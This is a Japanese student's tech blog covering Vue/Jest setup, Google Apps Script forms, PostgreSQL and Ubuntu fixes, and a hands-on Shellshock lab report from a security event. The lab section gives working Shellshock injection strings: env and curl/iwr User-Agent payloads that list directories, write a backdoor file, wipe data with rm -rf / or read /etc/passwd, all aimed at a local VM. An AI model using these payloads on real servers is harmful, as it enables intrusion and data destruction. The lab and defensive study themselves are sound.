Vue.jsでユニットテストを書くために
この記事はLOCAL学生部アドベントカレンダー2020 15日目への寄稿です!
adventar.org
12日目はaruneko99さん。
今回は既存のVue-cliプロジェクトにJestでのテスト環境を構築したこと、その際にはまったところをかき起こしておきたいと思います。
Vue.jsでテストがしたい
Vue.jsでは単体テストの効率化のためにVue Test Utilsを提供しており、こちらはJestやMochaのようなテストランナーと組み合わせて使うのが一般的のようです。
ということで、*Jest+vue-test-utilsを導入してテストを試してみます。
環境
node v14.15.1
yarn 1.22.5
vue 2.6.12
@vue/test-utils 1.1.1
Jest+vue-test-utilsをyarn(npm)でインストール
yarn add -D @vue/test-utils babel-jest jest vue-jest
公式ドキュメント
Jest を使用した単一ファイルコンポーネントのテスト | Vue Test Utils
にしたがって環境設定を行います。
package.jsonを編集
// package.json
{
"scripts": {
"test": "jest"
},
"jest": {
"moduleFileExtensions": [
"js",
"json",
"vue" // *.vue ファイルを処理するように Jest に指示する
],
"transform": {
".*\\.(vue)$": "vue-jest", // vue-jest で *.vue ファイルを処理する
"^.+\\.js$": "<rootDir>/node_modules/babel-jest" // babel-jest で js を処理する
},
"moduleNameMapper": { // ソースコードにある @ を src へと割当てる
"^@/(.*)$": "<rootDir>/src/$1"
}
}
}
次にBabelの設定ファイルを編集します。Jestを使うときはbabel.config.jsまたは.babelrcの2通りの記法があるようですが、今回はすでに用意されていたbabel.config.jsのほうを編集します。
{
"presets": [["env", { "modules": false }]],
"env": {
"test": {
"presets": [["env", { "targets": { "node": "current" } }]]
}
}
}
ここまでの実行結果をみてみる
yarn testで実行します。
FAIL src/models/order-item.test.js
Test suite failed to run
Cannot find module 'babel-preset-env' from '/home/denham/workspace'
- Did you mean "@babel/env"?
(中略)
Test Suites: 2 failed, 2 total
Tests: 0 total
Snapshots: 0 total
Time: 2.546 s
怒られた...
babel-preset-envが存在しないよといわれているので探します。
babel7における変更点で多くのパッケージがscoped packagesとして提供されるようになり、モジュール名にbabel- がついていたパッケージは@babel/にリネームされているようです。
ということで、babel.config.js
のenv
を@babel/preset-env
に書き換えてみます。
テストはファイル名.test.jsとすると自動検知してくれます。
Vue.jsは学習し始めて間もないですが、既存のソースコードのロジック、DOMの状態チェックなど考えなければならないことが多く、想像以上に検証コードを書くハードルは高そうです。
いれて便利なVSCodeExtention
vscode-jest
テストコード上でDebugが実行できたり、テスト結果をインライン表示してくれて便利。
この恩恵を被れるくらいにテストコードを書けるようになりたい(来年の抱負)
榊さんのアドカレ、勉強になります。
GASでユーザー登録フォームを作った
cistLTサークルのアドベントカレンダー4日目への寄稿です。
目的
友人と共同で制作し、10月のサークル合同LTで発表したWebサイト(未完成)chitose-fts.web.appにお気に入り機能追加したい。
合同LTcist-lt.connpass.comで使用したスライドについてはこちら
経緯
友人とGASを使って共同でまたやろうか、という運びになり
- スプレッドシートでデータベースっぽいこともっとしたい
- ユーザー登録ページ作ってお気に入り機能とか実装したいね
- ページ遷移どうする? -> GASプロジェクトは基本1プロジェクト1htmlしか呼び出せない*1のでページ遷移大変そう...
などなどありました。
結果
わりとなんとかなりました。
実際に作成したページ
script.google.com
スプレッドシート
docs.google.com
以下でソースコードと軽い解説を。
<!DOCTYPE html> <html> <head> <base target=”_top”> </head> <body> <h1>ユーザー登録フォーム</h1> <form action="https://script.google.com/macros/s/AKfycbwLU-A0l5788vTO0sAXT1nL5VYWLNZqCt5hfy8vH8EFO_1rSvY/exec" method="post"> <p> ユーザー名:<input type="text" name="namae"> </p> <p> 性別:<br /> <input type="radio" name="gender" value="男性">男性<br /> <input type="radio" name="gender" value="女性">女性 </p> <p> <input type="submit" value="送信する"> <input type="reset" value="入力内容をリセットする"> </p> </form> </body> </html>
<input>
タグのname属性で付与した名前をスプレッドシートに書き込む際に受け渡します
<form>
タグのaction属性でWEBアプリケーションとして公開したページのURLを指定しpostしています
<!DOCTYPE html> <html> <head> <base target=”_top”> </head> <body> 送信が完了しました。<br><br> <!-- ページ内遷移ここから --> <?var url = getScriptUrl();?> <input type="button" value="もう一度回答する" onclick="window.top.location.href = '<?!=url?>?page=kakunin';"/> <!-- ここまで --> </body> </html>
ここの<input>
タグでページを切り替えるためのボタンを作成しています。
onclicでwindow.top.location.href(現在のページの場所を指します)に<?!=url?>?page=kakunin';"/>を渡してあげることで
kakunin.htmlに遷移させてあげることができます。
function doGet(e) { Logger.log( Utilities.jsonStringify(e) ); if (!e.parameter.page) { return HtmlService.createTemplateFromFile('index').evaluate(); } return HtmlService.createTemplateFromFile(e.parameter['page']).evaluate(); /* page=kakuninのpage,この配列に"kakunin"のようなページ名が追加されていく */ } function doPost(postdata){ var sh=SpreadsheetApp.openById('1juOUKCyip7z0EBwVFSLriP30whTEBvB_lYJV12ZtEuw'); var time=new Date(); var namae=postdata.parameters.namae.toString(); var gender=postdata.parameters.gender.toString(); sh.appendRow([time,namae,gender]); return HtmlService.createTemplateFromFile("result").evaluate(); } function getScriptUrl() { var url = ScriptApp.getService().getUrl(); return url; }
doGet()
では
function doGet(e)
で、e.parameterの中にURLのパラメーターが配列として格納され、
return HtmlService.createTemplateFromFile(e.parameter['page']).evaluate()
で、URLのpage="kakunin"のパラメーターの値を取得し、変数pageに格納したものを戻り値として返しています
<input type=”submit”>
でdoPost関数を呼び出した際の処理をみてみます。
今回のGASはスタンドアロン型スクリプトで作成しているので
SpreadsheetApp.openById(“”)
とします。
(部分に入るシートIDはスプレッドシートのURLのd/と/editの間
https://docs.google.com/spreadsheets/d/**********/edit#gid=597941997
で確認できます)
スクリプトと紐付いていないスプレッドシートを指定して取得しています。
引数で受け取ったオブジェクト型のpostdataをtoString()
メソッドで文字列型に変換し、appendRowメソッドでスプレッドシートの最終行にtime,name,genderを追加しています。
感想
ネックだったページ遷移の問題は解決できたので、残る課題はログインページとお気に入り機能の実装ですね。
ゆくゆく着手していきたい。
またサークルのLTなどで何度かプレゼンしているのですが、GASのよいところは
①無料(お財布にやさしい)
②サーバーレスであること
③スプレッドシートをデータベースとして代用できること
であると思います
制約のないレンサバはお金かかるし、データベースは学習コストが重いので、小規模でWeb開発したいとか、とりえあずデータベースつかってみたい
って人にもGASおすすめできると思うなぁという記事でした。
余談
ページ上部のバナー、英文になってちょっと主張がおちついた感じ
PostgreSQL導入備忘録(peer認証エラー)
環境
・Ubuntu18.04(WSL2)
・postgres (PostgreSQL) 11.2
問題
$ psql -U postgres -d postgres
コマンドでpsqlにログインできず、
psql: error: FATAL: Peer authentication failed for user "postgres"
なるエラーが表示される
原因
・peer認証が有効になっている
peer認証とは、ローカルからのアクセス時にpostgres(OS側)のユーザー名がpostgres(データベース側)のものと一致している場合のみ接続を許可する認証方法で、ここが不一致のために怒られているらしい
解決策
・postgres(OS側)のパスワードを設定
・postgres(データベース側)のパスワードを設定
・クライアント認証設定ファイルのgpg_hba.confを書き換える
$ sudo passwd postgres
以下のSQL文を実行してパスワードを設定
ALTER USER postgres with encrypted password 'パスワード';
次にfindコマンドでpg_hba.confを探します
$ sudo find / -name pg_hba.conf
自分の環境では
/etc/postgresql/13/main下にありました
# Database administrative login by Unix domain socket
local all postgres peer
の行をみてみる
postgresユーザーからの接続がデフォルトではpeerとなっているので、ここを
peer→md5
と変更
$ /etc/init.d/postgresql restart
でpsqlを再起動
補足
公式ドキュメント
に従ってインストール後、psqlコマンドを実行すると
error: could not connect to server: No such file or directory Is the server running locally and accepting connections on Unix domain socket "/var/run/postgresql/.s.PGSQL.5432"?
というエラー文が表示される
$ pg_lsclusters
でpsqlのstatusを確認→サーバーがダウンしている模様
10 main 5432 down postgres /var/lib/postgresql/13/main /var/log/postgresql/postgresql-13-main.log
$ /etc/init.d/postgresql start
で起動
statusがonline postgresになっていればOK
Ubuntu 18.04(LTS)→20.04(LTS)アップグレードでハマったこと
以前Python3周りの環境構築でやらかして以降、放置していたUbuntuのアップグレード問題をようやく解決したお話。
前提
UbuntuはOS自体がpythonで動いているので、これを弄ると色々まずいことに。
なので、基本は別途に複数のバージョンをインストールしていくことになります。
Ubuntuを18.04(LTS)→20.04(LTS)にしたい
Ubuntuの最新バージョンへのアップグレードを行うには、以下の手順でやっていくことになります。
sudo apt update
sudo apt install update-manager
sudo apt dist-upgrade
sudo do-release-upgrade -d
ところがパッケージマネージャの処理でエラーが発生。
Your python3 install is corrupted. Please fix the '/usr/bin/python3' symlink
/usr/bin/python3はUbuntuで使用されているデフォルトのPython3バージョンを指すシンボリックリンク(ショートカットのようなもの)であり、
ここのpython3のバージョンがubuntuバージョンの標準のものでないとこのようなエラーが発生するケースがある、とのこと。
Ubuntu18.04で規定のバージョンはpython3.6.8ですが、自分の環境では手動でpython3.8としていました。
update-alternatives --config pythonでpythonのバージョンを変更します。
sudo update-alternatives --config python
とすることで、実行可能ファイルを確認することができる
以下のコマンドにより
$sudo update-alternatives --install /usr/bin/python python /usr/bin/python2.7 1
$sudo update-alternatives --install /usr/bin/python python /usr/bin/python3.6 2
python2、python3の指定した任意のバージョンをそれぞれ登録することができます。(この場合はpython2.7と3.6を実行可能ファイルとして登録できます)
ここで3.6を規定バージョンに変更。
python3 --version
のコマンドでバージョンが3.6.8になっていることを確認します。
sudo ln -s /usr/bin/python3.6 /usr/bin/python3
でpython3.6のシンボリックリンクを再作成
が、うまくいかない。
バージョン依存の原因ではないらしい。
もっとシンプル(かつ厄介)で、python3のパッケージが破損しているということでした。
sudo apt-get install python3
を実行したところ、
dpkg: パッケージ libjna-java の処理中にエラーが発生しました (--configure):
パッケージが非常に矛盾した状態に陥りました。設定を試みる
前に再インストールすべきです。
処理中にエラーが発生しました:
python3
パッケージが非常に矛盾しているようです。怖いですね。
ステータスを調べてみる
dpkg -s cacti-spine
とすると、
Status: install reinstreq half-installed
インストールが中断されて、半分インストールされた状態になっていた模様。
こういったケースでは-reinstallのコマンドが使えるとのことで、sudo apt-get install --reinstall python3
で再度python3をインストール。
インストールが成功していた場合
Status: install ok installed
となります。
ここでもう一度 sudo do-release-upgrade -d
をして確認。
upgrade開始の確認が表示され、yNとすることで成功。
無事20.04にアップグレードできました。
まとめ
python3のデフォルトバージョンはうかつに弄らない方がいい(あさはかでした)
参考
SC4Y ('20#1) サイバーセキュリティ 脆弱性対応 (防災訓練)参加レポート
北海道地域情報セキュリティ連絡会(HAISL)主催のセキュリティイベントSC4Yに参加しました。
Zoom+SlackとYoutube Liveを併用してのオンライン開催でした。
本イベントではshellshockを題材にしたハンズオン演習が行われたため、簡単なメモを残しておきたいと思います。
ShellShockとは?
実際にバグが仕込まれたのが1993年、Stephane Chazelas氏がこれを報告したのが2014年9月9月の出来事とのこと。
ハンズオンでは、そこから修正パッケージが公開されるまでの一連の流れを攻撃者・防衛側の両サイドから検証する形で追っていきました。
PoCコードについて
PoC(Proof of Concept)コードとは、脆弱性を検証するためのテストコード
$env x='() { :;}; echo vulnerable' bash -c "echo test
envはshellの環境変数設定コマンド
bash -c "echo test"はシンプルなシェルのコード
xは環境変数で
本当は
env LANG C=date
などというように使う
x='() { :;};で変数xに魔法の文字列() { :;};とコマンドが入れられている→怪しい
このコマンドを実行すると、想定される実行結果は
test
ですが、
使用している Bash のバージョンに脆弱性が含まれる場合は、
test
の他に
vulnerable
という文字列が表示される
→環境変数の文字列がコマンドとして実行されてしまうのが問題
echo vulnerable で環境変数に攻撃的なコードを埋め込んでいる
たとえば
$env x='() { :;}; rm -rf / ' bash -c "echo test"
なら、rm -rfでデータをすべて消去
/bin/cat /etc/passwd
としたならアカウント情報窃取
という攻撃ができてしまう
LAB環境についての覚え書き
今回は比較的簡単に検証できる環境としてVirtual Boxを利用
・NICというLANカードを介して
有線のLANポート、無線のアンテナのようなもの。
・LAB環境は脆弱性をわざと参照している
外部から攻撃されては困るので、NAT*1といわれる技術で隔離している。
・攻撃者と防衛側の一人二役で行う
Windowsの場合
Tera Termが防衛側(vNIC*2)、Power Shellが攻撃側(lo/ループバックアドレス)*3
(攻撃側)偵察行動のコマンド例
windows powerShellの場合
.\curl.exe -A ‘() { :;}; echo Content-Type: text/html; echo ; /bin/ls /usr/local’ http://127.0.0.1/test.php
もしくは
(iwr -UserAgent ‘() { :;}; echo Content-Type: text/html; echo ; /bin/ls /usr/local’ http://127.0.0.1/test.php).Content
(攻撃側)拠点確立行動のコマンド例
.¥curl.exe -A ‘() { :;}; echo Content-Type: text/html; echo ; echo hacked > /tmp/backdoor’ http://127.0.0.1/test.php
もしくは
(iwr -UserAgent ‘() { :;}; echo Content-Type: text/html; echo ; echo hacked > /tmp/backdoor’ http://127.0.0.1/test.php).Content
curl:http通信
'().../local':User-Agentにbashコマンドを記法
http以下:CGIコンテンツを指定
SlackからPower Shell上にコピペするとcurl.exeの前の\(半角バックスラッシュ)が¥(半角円マーク)に
→そのままではエラーが出るので、Power Shell上で\に書き換えればOK
UserAgentにコマンドを入れるだけで攻撃が成立してしまう怖さ
被害の有無を調査する
shellsockの場合は影響範囲が広く、どこで影響を受けるかわからないため、ありとあらゆるログを見るべき。
たとえば
- システムログ/var/log/messages
- 認証ログ/var/log/secure
- デバイス関連ログ/var/log/dmesg/
- 定期実行処理のログ/var/log/cron
- メールのログ/var/log/maillog
- httpdのログ/var/log/httpd/以下
その他にも、データベースを使っているならmysqlのログなど
不審なログを発見するために
異常時のログを見分けるために、正常時にはどんなログが流れているのか、どういう意味なのかを定期的に確認しておくのがよい。
学びとして
セキュリティの勉強はインプットが中心でモチベーションが続きにくく、アウトプットをするにはどうするのがよいだろうか?という質問がありました。
発展的なアウトプット手段としてはSecHack365*4やCTF*5・バグバウンティの紹介なども。
またセキュリティで扱うテーマはとても広いので、最初は興味を持った分野から掘り下げていくのがよいというお話でした。
まだまだ不勉強で理解が追い付かないところが多かったですが、内容の濃いお話がたくさん聞けました。
こうした学びの機会は貴重なので、機会があればぜひまた参加したいです。
期末試験が終わったらこれを再開したい
WebGLのビルドで苦戦した話
Unity 1 Week用の作品をUnity Roomに投稿しようと意気込み、Web GLにビルドできない問題が発生。
エラーを見てみると、Pathの設定に問題がありそうな一文が。
どうもプロジェクトフォルダ名とフォルダまでのパスに全角英数字が含まれているとダメらしい...。
やったこと
- 念のためプロジェクト名の半角大文字を小文字に変更
大文字すら怖かった。
- バックアップを取る
Assets→Export packageでアセットデータのエクスポート&フォルダごとコピー。
- CloudBuildを試してみる
Successの表示を確認→ダッシュボートでプレイを実行してみたところ
The webgl build requested was not found
Edgeでもダメでした。こちらは保留。*1
- Build先をドキュメントの外に変えてみた
C:\Users\[UserName]\OneDrive
初回はエラーで失敗。
再起動して試したところ無事処理が始まり、Node.jsがファイアウォールでブロックされているという警告→アクセス許可で成功。
追記
DドライブのDocumentsにWeb GLフォルダを作り保存
→こちらも無事成功。
まとめると、ビルドが上手くいかないときは
- フォルダ名とそこに至るまでのパス名の中に日本語全角がないか
- Node.jsがブロックされていないか
を確認してみるといいかもしれません。
思いのほか時間がかかってしまった。。
作品はunityroomで公開中です。
右も左もわからない状態でしたが、なんとか形にはできました。
よければ遊んでみてください!
GAS入門とV8ランタイム
せっかくAmazon Kindle Unlimitedの無料体験中なので、そろそろ本腰入れてGAS入門するぞ、とGoogle Apps Scriptステップアップガイドを始めてみた。
以下、躓いた部分のメモ。
- 発生した問題
doGetメソッドの実行でエラー
TypeError: output.append is not a function(行 12)
- 該当箇所
// コード.gs
function doGet() {
var output =
HtmlService.createTemplateFromFile('index');
return output.evaluate().setTitle('Sample page');
}function getData() {
return ["Windows","Mac OS X","Linux"];
}
// index.html
<style>
h1 {font-size:16pt;
background:#AAFFAA;padding:5px;}
p {margin:10px;}
</style>
<h1>Sample page</h1>
<ol>
<?
var datas = getData();
for(var i=0;i<=datas.length;i++){
if(datas[i]==undefined){ break; }
output*1.append('<li>'+datas[i]+'</li>');
}
?>
</ol>
- 解決
V8ランタイムを無効にする
GASが旧RhinoランタイムからV8ランタイムに対応した関係*2で、一部の構文が使えなくなってしまった模様。V8ランタイムは現在のJavascriptの標準規格であるECMAScriptに準拠していて、こちらの方がよりモダンなJSを書けますよ、ということらしい。
今回はRhinoエンジンにダウングレードしたことで問題解消。
公式V8ドキュメント
英弱なのでこちらも参照。